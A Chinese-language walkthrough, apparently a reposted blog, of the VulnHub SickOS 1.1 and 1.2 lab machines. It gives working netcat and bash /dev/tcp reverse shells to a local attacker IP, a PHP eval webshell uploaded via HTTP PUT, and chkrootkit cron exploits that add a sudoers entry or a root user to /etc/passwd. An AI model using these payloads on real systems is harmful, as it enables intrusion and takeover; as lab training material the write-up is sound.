SickOS系列
SickOS1.1
靶机下载链接见:
https://download.vulnhub.com/sickos/sick0s1.1.7z
靶机渗透,主机发现
arp-scan -l
端口扫描,80端口是没有开启的,3128端口有一个http服务
访问查看,这个服务呢是一个http代理,版本是3.1.19,8080端口也是一个http代理,但是已经关闭了
既然是代理服务,那么我们进行目录扫描的时候,需要添加上这个代理ip+端口,不然扫不到80端口(80端口没有开启的)
我们使用靶机的代理,这样就能扫描出来了,但是没有扫到后台管理的地址呢
并没有该系统的后台管理地址
浏览器添加代理
访问成功,可以进一步信息收集了
robots文件
这个文件不知道是什么,先放着
这就是wolfcms内容了
漏洞检索
一个一个看,直到第三个漏洞描述
访问,原来是多了一个问号啊
弱口令admin/admin(也可以进行爆破,毕竟没有验证码)
上传一句话木马
添加代理
保存后即可连接成功
反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.209.130 6666 >/tmp/f
创建交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
得到mysql数据库账号密码
root / john@123
登录进去,用户表只有一个用户admin
继续信息收集,回家,历史命令,SUID文件
计划任务
ls -al /etc/cron*
这些工具基本上都没啥用,这里需要用上之前的数据库密码,来登录这个home下面的用户sickos
有了密码那么就直接sudo,可以看到是所有的东西都可以执行sudo,那么就简单了
直接 sudo -s 保存用户变量,切换超级用户root,也可使用sudo -i使用root的环境变量
SickOS1.2
靶机下载链接见:
https://www.vulnhub.com/entry/sickos-12,144/
端口扫描,目标服务器开启了22端口和80端口
访问80端口
第一时间查看源码,在最下面
<!-- NOTHING IN HERE ///\ -->
目录扫描
有一个指纹信息
漏洞检索,并没有相关版本的漏洞
将网页上的图片下载下来使用strings进行分析
网上搜到一种方法
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.209.133
该命令使用Nmap的http-methods
脚本检测IP为192.168.209.133的主机上Web服务的/test
路径支持的HTTP方法。
利用这个PUT方法,可以上传文件至目标服务器,HTTP的请求方式常见的就是GET、POST、DELETE、PUT
其中PUT方法,向服务器上传一个资源,用于创建或完全替换目标资源的内容。如果资源不存在,则创建该资源;如果资源已存在,则进行更新。
DELETE:请求服务器删除由URL所标识的资源。
那么我们尝试上传一个php文件,响应结果为创建成功
<?php @eval($_POST[hack]);?>
这时候回到页面,就会发现一个新的php文件
蚁剑i连接
这里反弹shell试了好多种方式,都不行,看样子是对端口进行了限制,先信息收集吧,用户信息
系统信息收集
uname -a
lsb_release -a
查找某一个用户的文件
find / -user john -type f 2>/dev/null
这里需要一个脚本,检查端口得开启情况(不是已使用的服务),默认使用iptables,但是没有权限
这里需要用上一个脚本来检查端口的开放情况,脚本内容如下
# !/bin/bash
for i in $(seq 1 65535)
do
timeout 1 nc -vz 192.168.209.130 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"
放到kali中,并开启http服务,并将所有端口的流量都转发到34444端口
python -m http.server 5000
//备份iptables规则
iptables-save > /tmp/firewall.rules
//将所有端口的流量都转发到34444端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
//监听34444端口
nc -lvp 34444
尝试从kali上下载这个文件,下载失败
切换tmp进行下载还是失败
那么就麻烦一点,传到本机上,再传到靶机
这样就能上传成功了
执行脚本
会生成一个txt文件
这里需要多执行几次,否则都是关闭的状态,检测不到结果
kali回显了,说明443端口是放行的
用bash反弹shell(如果反弹不成功,需要清除 iptables 的所有规则)
bash -c 'bash -i >& /dev/tcp/192.168.209.130/443 0>&1'
创建一个交互式终端
python -c 'import pty; pty.spawn("/bin/bash")'
信息收集,我是谁?我在哪?你是谁?
漏洞检索,没有任何的漏洞信息,3.11.0不在这里面的库中
查看有没有gcc编译命令
这里利用cve-2021-4034提权poc打,注意kali开启的端口要是443
提权失败,找其他信息(前面我们已经搜索了一些信息了,这里直接打)
这里是要用到一个命令
ls -al /etc/cron*
这个命令就是说查看所有和计划任务有关的所有内容,发现了一个计划任务,chkrootkit命令
其中
/etc/crontab
:这是系统的crontab文件,用于定义系统级别的定时任务。
/etc/cron.d
:该目录用于存放系统级别的定时任务配置文件。
/etc/cron.daily
:这些脚本用于执行每天需要进行的系统维护任务,如更新软件包列表、清理日志文件、更新数据库等。
/etc/cron.hourly
:这些脚本用于执行每小时需要进行的系统维护任务,如清理临时文件、更新缓存等。
/etc/cron.monthly
: 这些脚本用于执行每月需要进行的系统维护任务,如备份、报告生成等。
/etc/cron.weekly
:包含多个脚本文件,这些脚本每周执行一次。
找到漏洞
We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).
# 我们刚刚在chkrootkit包中发现了一个严重的漏洞,它可能允许本地攻击者在某些配置(/tmp而不是挂载noexec)下获得root访问权限。
查看利用步骤
大致意思就是说让我们在tmp目录下面创建一个文件叫做 update ,这个update文件呢包含了一些恶意脚本,当我们运行chkrootkit这个工具的时候,这些恶意脚本也会跟着执行,并且是以root身份执行的(它是计划任务,会定时执行)
这里可以利用sudo提权,,将当前用户赋予sudo权限
echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update
chmod +x /tmp/update
也可以向 /etc/passwd 追加一个用户,密码为 password@123 (使用openssl将这个密码加盐,不加也可以,得到结果advwtv/9yU5yQ
,所以完整的命令如下)
echo 'echo "xiaoyu:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd' >/tmp/update
再者利用nc反弹shell(有思路就可以,这里没有成功)
echo '/bin/bash -i >& /dev/tcp/192.168.209.130/443 0>&1' > /tmp/update
如果有错误还请师傅们指正
往期推荐
111
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容